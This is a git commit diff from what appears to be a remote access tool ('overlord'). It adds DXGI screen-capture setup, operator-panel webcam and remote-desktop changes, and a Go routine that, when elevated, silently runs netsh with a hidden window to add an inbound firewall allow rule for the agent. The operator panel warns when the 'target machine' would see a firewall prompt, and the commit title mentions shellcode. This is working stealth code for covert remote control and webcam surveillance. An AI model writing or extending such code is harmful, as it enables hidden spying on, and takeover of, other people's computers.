add firewall notification and fix GPU mode in shellcode
This commit is contained in:
@@ -32,8 +32,11 @@ const (
|
|||||||
var (
|
var (
|
||||||
dxgiDLL = syscall.NewLazyDLL("dxgi.dll")
|
dxgiDLL = syscall.NewLazyDLL("dxgi.dll")
|
||||||
d3d11DLL = syscall.NewLazyDLL("d3d11.dll")
|
d3d11DLL = syscall.NewLazyDLL("d3d11.dll")
|
||||||
|
ole32DXGIDll = syscall.NewLazyDLL("ole32.dll")
|
||||||
procCreateDXGIFactory1 = dxgiDLL.NewProc("CreateDXGIFactory1")
|
procCreateDXGIFactory1 = dxgiDLL.NewProc("CreateDXGIFactory1")
|
||||||
procD3D11CreateDevice = d3d11DLL.NewProc("D3D11CreateDevice")
|
procD3D11CreateDevice = d3d11DLL.NewProc("D3D11CreateDevice")
|
||||||
|
procCoInitDXGI = ole32DXGIDll.NewProc("CoInitializeEx")
|
||||||
|
dxgiComInit sync.Once
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -863,6 +866,13 @@ func cloneRGBA(src *image.RGBA) *image.RGBA {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (s *duplicationState) ensure(display int) error {
|
func (s *duplicationState) ensure(display int) error {
|
||||||
|
dxgiComInit.Do(func() {
|
||||||
|
const coinitMultithreaded = 0x0
|
||||||
|
hr, _, _ := procCoInitDXGI.Call(0, coinitMultithreaded)
|
||||||
|
if hr != S_OK && hr != 1 {
|
||||||
|
log.Printf("capture: CoInitializeEx for DXGI failed: 0x%x", hr)
|
||||||
|
}
|
||||||
|
})
|
||||||
const dxgiDeviceMaxAge = 4 * time.Hour
|
const dxgiDeviceMaxAge = 4 * time.Hour
|
||||||
if s.dup != nil && s.display == display {
|
if s.dup != nil && s.display == display {
|
||||||
if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge {
|
if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge {
|
||||||
|
|||||||
@@ -0,0 +1,5 @@
|
|||||||
|
//go:build !windows && overlord_webrtc
|
||||||
|
|
||||||
|
package webrtcpub
|
||||||
|
|
||||||
|
func ensureFirewallRule() {}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
//go:build windows && overlord_webrtc
|
||||||
|
|
||||||
|
package webrtcpub
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
const createNoWindowFlag = 0x08000000
|
||||||
|
|
||||||
|
var firewallOnce sync.Once
|
||||||
|
|
||||||
|
func ensureFirewallRule() {
|
||||||
|
firewallOnce.Do(func() {
|
||||||
|
if !windows.GetCurrentProcessToken().IsElevated() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if resolved, err := filepath.EvalSymlinks(exe); err == nil {
|
||||||
|
exe = resolved
|
||||||
|
}
|
||||||
|
|
||||||
|
ruleName := filepath.Base(exe)
|
||||||
|
hidden := &syscall.SysProcAttr{HideWindow: true, CreationFlags: createNoWindowFlag}
|
||||||
|
|
||||||
|
del := exec.Command("netsh", "advfirewall", "firewall", "delete", "rule",
|
||||||
|
"name="+ruleName, "program="+exe)
|
||||||
|
del.SysProcAttr = hidden
|
||||||
|
_ = del.Run()
|
||||||
|
|
||||||
|
add := exec.Command("netsh", "advfirewall", "firewall", "add", "rule",
|
||||||
|
"name="+ruleName, "dir=in", "action=allow", "program="+exe, "enable=yes")
|
||||||
|
add.SysProcAttr = hidden
|
||||||
|
if err := add.Run(); err != nil {
|
||||||
|
log.Printf("webrtcpub: firewall rule add failed: %v", err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -41,6 +41,7 @@ func p2pSessionKey(kind Kind, sessionID string) string {
|
|||||||
// browser side decides via its transceivers what to ask for. Trickle ICE
|
// browser side decides via its transceivers what to ask for. Trickle ICE
|
||||||
// candidates emitted by Pion are delivered to opts.OnICE.
|
// candidates emitted by Pion are delivered to opts.OnICE.
|
||||||
func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP string, opts P2POfferCallbacks, hasVideo, hasAudio bool) (string, error) {
|
func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP string, opts P2POfferCallbacks, hasVideo, hasAudio bool) (string, error) {
|
||||||
|
ensureFirewallRule()
|
||||||
_ = ctx
|
_ = ctx
|
||||||
if sessionID == "" {
|
if sessionID == "" {
|
||||||
return "", errors.New("webrtcpub: empty sessionID")
|
return "", errors.New("webrtcpub: empty sessionID")
|
||||||
|
|||||||
@@ -66,6 +66,7 @@ var (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
|
func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
|
||||||
|
ensureFirewallRule()
|
||||||
if strings.TrimSpace(opts.WhipURL) == "" {
|
if strings.TrimSpace(opts.WhipURL) == "" {
|
||||||
return nil, errors.New("webrtcpub: empty WhipURL")
|
return nil, errors.New("webrtcpub: empty WhipURL")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -101,6 +101,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
let lastClipboardText = "";
|
let lastClipboardText = "";
|
||||||
let clipboardSyncActive = false;
|
let clipboardSyncActive = false;
|
||||||
let elevationPending = false;
|
let elevationPending = false;
|
||||||
|
let clientOs = "";
|
||||||
|
let clientIsAdmin = false;
|
||||||
|
let firewallWarningAcked = false;
|
||||||
|
|
||||||
function resetH264RuntimeState() {
|
function resetH264RuntimeState() {
|
||||||
h264TimestampUs = 0;
|
h264TimestampUs = 0;
|
||||||
@@ -799,6 +802,8 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
const client = data.items.find((c) => c.id === activeClientId);
|
const client = data.items.find((c) => c.id === activeClientId);
|
||||||
if (client) {
|
if (client) {
|
||||||
clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`;
|
clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`;
|
||||||
|
clientOs = (client.os || "").toLowerCase();
|
||||||
|
clientIsAdmin = !!client.isAdmin;
|
||||||
}
|
}
|
||||||
if (client) {
|
if (client) {
|
||||||
populateDisplays(client.monitors, client.monitorInfo);
|
populateDisplays(client.monitors, client.monitorInfo);
|
||||||
@@ -874,7 +879,21 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
function needsWebrtcFirewallWarning(mode) {
|
||||||
|
if (firewallWarningAcked) return false;
|
||||||
|
if (mode !== "relayed" && mode !== "p2p") return false;
|
||||||
|
const isWindows = clientOs.includes("windows") || clientOs.includes("win");
|
||||||
|
return isWindows && !clientIsAdmin;
|
||||||
|
}
|
||||||
|
|
||||||
startBtn.addEventListener("click", function () {
|
startBtn.addEventListener("click", function () {
|
||||||
|
const mode = getWebrtcMode();
|
||||||
|
if (needsWebrtcFirewallWarning(mode)) {
|
||||||
|
if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
firewallWarningAcked = true;
|
||||||
|
}
|
||||||
if (displaySelect && displaySelect.value !== undefined) {
|
if (displaySelect && displaySelect.value !== undefined) {
|
||||||
sendCmd("desktop_select_display", {
|
sendCmd("desktop_select_display", {
|
||||||
display: parseInt(displaySelect.value, 10) || 0,
|
display: parseInt(displaySelect.value, 10) || 0,
|
||||||
@@ -888,7 +907,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
lastFrameAt = 0;
|
lastFrameAt = 0;
|
||||||
resetH264SessionState();
|
resetH264SessionState();
|
||||||
setStreamState("starting", "Starting stream");
|
setStreamState("starting", "Starting stream");
|
||||||
const mode = getWebrtcMode();
|
|
||||||
if (mode === "relayed") {
|
if (mode === "relayed") {
|
||||||
// Server replies with `webrtc_ready { whepPath }`; startWhep happens then.
|
// Server replies with `webrtc_ready { whepPath }`; startWhep happens then.
|
||||||
sendCmd("desktop_start", { webrtc: true });
|
sendCmd("desktop_start", { webrtc: true });
|
||||||
|
|||||||
@@ -54,6 +54,9 @@ import { P2PClient } from "./webrtc-p2p.js";
|
|||||||
let selectedDeviceIndex = 0;
|
let selectedDeviceIndex = 0;
|
||||||
let hasRenderedFrame = false;
|
let hasRenderedFrame = false;
|
||||||
let drawPending = false;
|
let drawPending = false;
|
||||||
|
let clientOs = "";
|
||||||
|
let clientIsAdmin = false;
|
||||||
|
let firewallWarningAcked = false;
|
||||||
|
|
||||||
const codecPrefKey = "webcamCodecPreferH264";
|
const codecPrefKey = "webcamCodecPreferH264";
|
||||||
let prefersH264 = typeof VideoDecoder === "function";
|
let prefersH264 = typeof VideoDecoder === "function";
|
||||||
@@ -438,6 +441,8 @@ import { P2PClient } from "./webrtc-p2p.js";
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (msg.type === "ready") {
|
if (msg.type === "ready") {
|
||||||
|
if (msg.os) clientOs = String(msg.os).toLowerCase();
|
||||||
|
if (msg.isAdmin !== undefined) clientIsAdmin = !!msg.isAdmin;
|
||||||
setStreamState("idle", "Ready");
|
setStreamState("idle", "Ready");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -496,10 +501,23 @@ import { P2PClient } from "./webrtc-p2p.js";
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function needsWebrtcFirewallWarning(mode) {
|
||||||
|
if (firewallWarningAcked) return false;
|
||||||
|
if (mode !== "relayed" && mode !== "p2p") return false;
|
||||||
|
const isWindows = clientOs.includes("windows") || clientOs.includes("win");
|
||||||
|
return isWindows && !clientIsAdmin;
|
||||||
|
}
|
||||||
|
|
||||||
startBtn.addEventListener("click", () => {
|
startBtn.addEventListener("click", () => {
|
||||||
|
const mode = getWebrtcMode();
|
||||||
|
if (needsWebrtcFirewallWarning(mode)) {
|
||||||
|
if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
firewallWarningAcked = true;
|
||||||
|
}
|
||||||
desiredStreaming = true;
|
desiredStreaming = true;
|
||||||
applyFpsSettings();
|
applyFpsSettings();
|
||||||
const mode = getWebrtcMode();
|
|
||||||
if (mode === "relayed") {
|
if (mode === "relayed") {
|
||||||
// Server replies with webrtc_ready; startWhep happens then.
|
// Server replies with webrtc_ready; startWhep happens then.
|
||||||
send("webcam_start", { webrtc: true });
|
send("webcam_start", { webrtc: true });
|
||||||
|
|||||||
@@ -374,7 +374,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
const target = clientManager.getClient(clientId);
|
const target = clientManager.getClient(clientId);
|
||||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||||
sessionManager.addRdSession(session);
|
sessionManager.addRdSession(session);
|
||||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, os: target?.os ?? "", isAdmin: !!target?.isAdmin });
|
||||||
if (!target) {
|
if (!target) {
|
||||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||||
return;
|
return;
|
||||||
@@ -710,7 +710,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
const target = clientManager.getClient(clientId);
|
const target = clientManager.getClient(clientId);
|
||||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||||
sessionManager.addWebcamSession(session);
|
sessionManager.addWebcamSession(session);
|
||||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, os: target?.os ?? "", isAdmin: !!target?.isAdmin });
|
||||||
if (!target) {
|
if (!target) {
|
||||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||||
return;
|
return;
|
||||||
|
|||||||
Reference in New Issue
Block a user